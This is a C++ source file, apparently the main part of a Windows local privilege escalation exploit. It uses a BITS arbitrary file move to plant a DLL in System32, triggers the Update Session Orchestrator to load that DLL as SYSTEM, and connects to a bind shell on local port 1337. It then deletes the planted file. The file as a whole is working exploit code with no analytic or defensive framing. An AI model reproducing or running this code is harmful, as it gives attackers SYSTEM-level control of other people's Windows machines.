
#include <iostream>
#include <Windows.h>

#include "resource.h"
#include "BitsArbitraryFileMove.h"
#include "MiniUsoClient.h"
#include "TcpClient.h"

#define TEMPO 2000

BOOL WriteEvilDll(LPCWSTR pwszEvilDllPath);
BOOL GetSystemShell();
BOOL EnableWow64FSRedirector();
BOOL DisableWow64FSRedirector();

PVOID m_pOldValue = nullptr;

int main()
{
	BitsArbitraryFileMove bitsArbitraryFileMove;

	const WCHAR* pwszEvilDllPath = L"C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll";

	if (!bitsArbitraryFileMove.Run(pwszEvilDllPath))
	{
		return 1;
	}

	if (!WriteEvilDll(pwszEvilDllPath))
	{
		wprintf_s(L"[-] Failed to write target DLL.\n");
		return 2;
	}

	if (!GetSystemShell())
	{
		return 3;
	}

	DisableWow64FSRedirector();

	if (!DeleteFile(pwszEvilDllPath))
	{
		wprintf_s(L"[!] DeleteFile('%ls') failed (Err: %d).\n", pwszEvilDllPath, GetLastError());
	}
	else
	{
		wprintf_s(L"[*] Deleted file: '%ls'\n", pwszEvilDllPath);
	}

	EnableWow64FSRedirector();

	return 0;
}

BOOL WriteEvilDll(LPCWSTR pwszEvilDllPath)
{
	if (pwszEvilDllPath == nullptr)
	{
		wprintf_s(L"[-] Input file path is null.\n");
		return FALSE;
	}

	// --- Get system arch --- 
	SYSTEM_INFO sysInfo;

	GetNativeSystemInfo(&sysInfo);

	HRSRC rsrc;
	HGLOBAL rsrcData;
	int targetResourceId = 0;

	switch (sysInfo.wProcessorArchitecture)
	{
	case PROCESSOR_ARCHITECTURE_AMD64:
		targetResourceId = IDR_RCDATA1;
		break;
	case PROCESSOR_ARCHITECTURE_INTEL:
		targetResourceId = IDR_RCDATA2;
		break;
	default:
		wprintf_s(L"[!] Unknown processor architecture.\n");
		return FALSE;
	}


	// --- Get DLL resource corresponding to system arch ---
	rsrc = ::FindResource(NULL, MAKEINTRESOURCE(targetResourceId), RT_RCDATA);
	if (rsrc == NULL)
	{
		return FALSE;
	}


	// --- Load resource ---
	unsigned int rsrcSize = ::SizeofResource(NULL, rsrc);
	rsrcData = ::LoadResource(NULL, rsrc);
	if (rsrcData == NULL)
	{
		wprintf_s(L"[-] LoadResource() failed (Err: %d).\n", GetLastError());
		return FALSE;
	}
	void* pbinData = ::LockResource(rsrcData);


	// --- Write resource to file ---
	DisableWow64FSRedirector();

	HANDLE hFile;
	DWORD dwBytesWritten = 0;

	hFile = CreateFile(pwszEvilDllPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		wprintf_s(L"[-] CreateFile('%ls') failed (Err: %d).\n", pwszEvilDllPath, GetLastError());
		return FALSE;
	}

	if (!WriteFile(hFile, (char*)pbinData, rsrcSize, &dwBytesWritten, NULL))
	{
		wprintf_s(L"[-] WriteFile('%ls') failed (Err: %d).\n", pwszEvilDllPath, GetLastError());
		CloseHandle(hFile);
		return FALSE;
	}

	CloseHandle(hFile);

	EnableWow64FSRedirector();

	return TRUE;
}

BOOL GetSystemShell()
{
	// ========================================================================
	// Use UsoDllLoader to get a shell as SYSTEM 
	// ========================================================================
	wprintf_s(L"[*] Using the Update Session Orchestrator to get code execution as SYSTEM.\n");

	TcpClient tcpClient;
	int iRes = 0;

	// Try to trigger DLL loading with 'StartScan'
	wprintf_s(L"[*] Trying UpdateOrchestrator->StartScan()\n");
	MiniUsoClient miniUsoClient;
	if (!miniUsoClient.Run(USO_STARTSCAN))
	{
		return FALSE;
	}

	// Wait a bit before trying to connect to the bind shell.
	// We might need this if the machine is slow. 
	//wprintf_s(L"[*] Waiting for the DLL to be loaded...\n");
	Sleep(TEMPO);

	iRes = tcpClient.connectTCP("127.0.0.1", "1337");

	if (iRes != 0)
	{
		wprintf_s(L"[*] Retrying with UpdateOrchestrator->StartInteractiveScan()\n");
		if (!miniUsoClient.Run(USO_STARTINTERACTIVESCAN))
			return FALSE;

		Sleep(TEMPO);

		iRes = tcpClient.connectTCP("127.0.0.1", "1337");
	}

	if (iRes != 0)
	{
		wprintf_s(L"[*] Retrying with UpdateOrchestrator->StartDownload()\n");
		if (!miniUsoClient.Run(USO_STARTDOWNLOAD))
			return FALSE;

		Sleep(TEMPO);

		iRes = tcpClient.connectTCP("127.0.0.1", "1337");
	}

	if (iRes != 0)
	{
		wprintf_s(L"[-] Exploit failed.\n");
		return FALSE;
	}

	return TRUE;
}


BOOL EnableWow64FSRedirector()
{
	HANDLE hProcess;
	BOOL bWow64Process;

	hProcess = GetCurrentProcess();

	if (!IsWow64Process(hProcess, &bWow64Process))
	{
		wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError());
		CloseHandle(hProcess);
		return FALSE;
	}

	if (bWow64Process)
	{
		if (!Wow64RevertWow64FsRedirection(m_pOldValue))
		{
			wprintf_s(L"[!] Wow64RevertWow64FsRedirection() failed (Err: %d).\n", GetLastError());
			CloseHandle(hProcess);
			return FALSE;
		}
	}

	CloseHandle(hProcess);

	return TRUE;
}

BOOL DisableWow64FSRedirector()
{
	HANDLE hProcess;
	BOOL bWow64Process;

	hProcess = GetCurrentProcess();

	if (!IsWow64Process(hProcess, &bWow64Process))
	{
		wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError());
		CloseHandle(hProcess);
		return FALSE;
	}

	if (bWow64Process)
	{
		if (!Wow64DisableWow64FsRedirection(&m_pOldValue))
		{
			wprintf_s(L"[!] Wow64DisableWow64FsRedirection() failed (Err: %d).\n", GetLastError());
			CloseHandle(hProcess);
			return FALSE;
		}
	}

	CloseHandle(hProcess);

	return TRUE;
}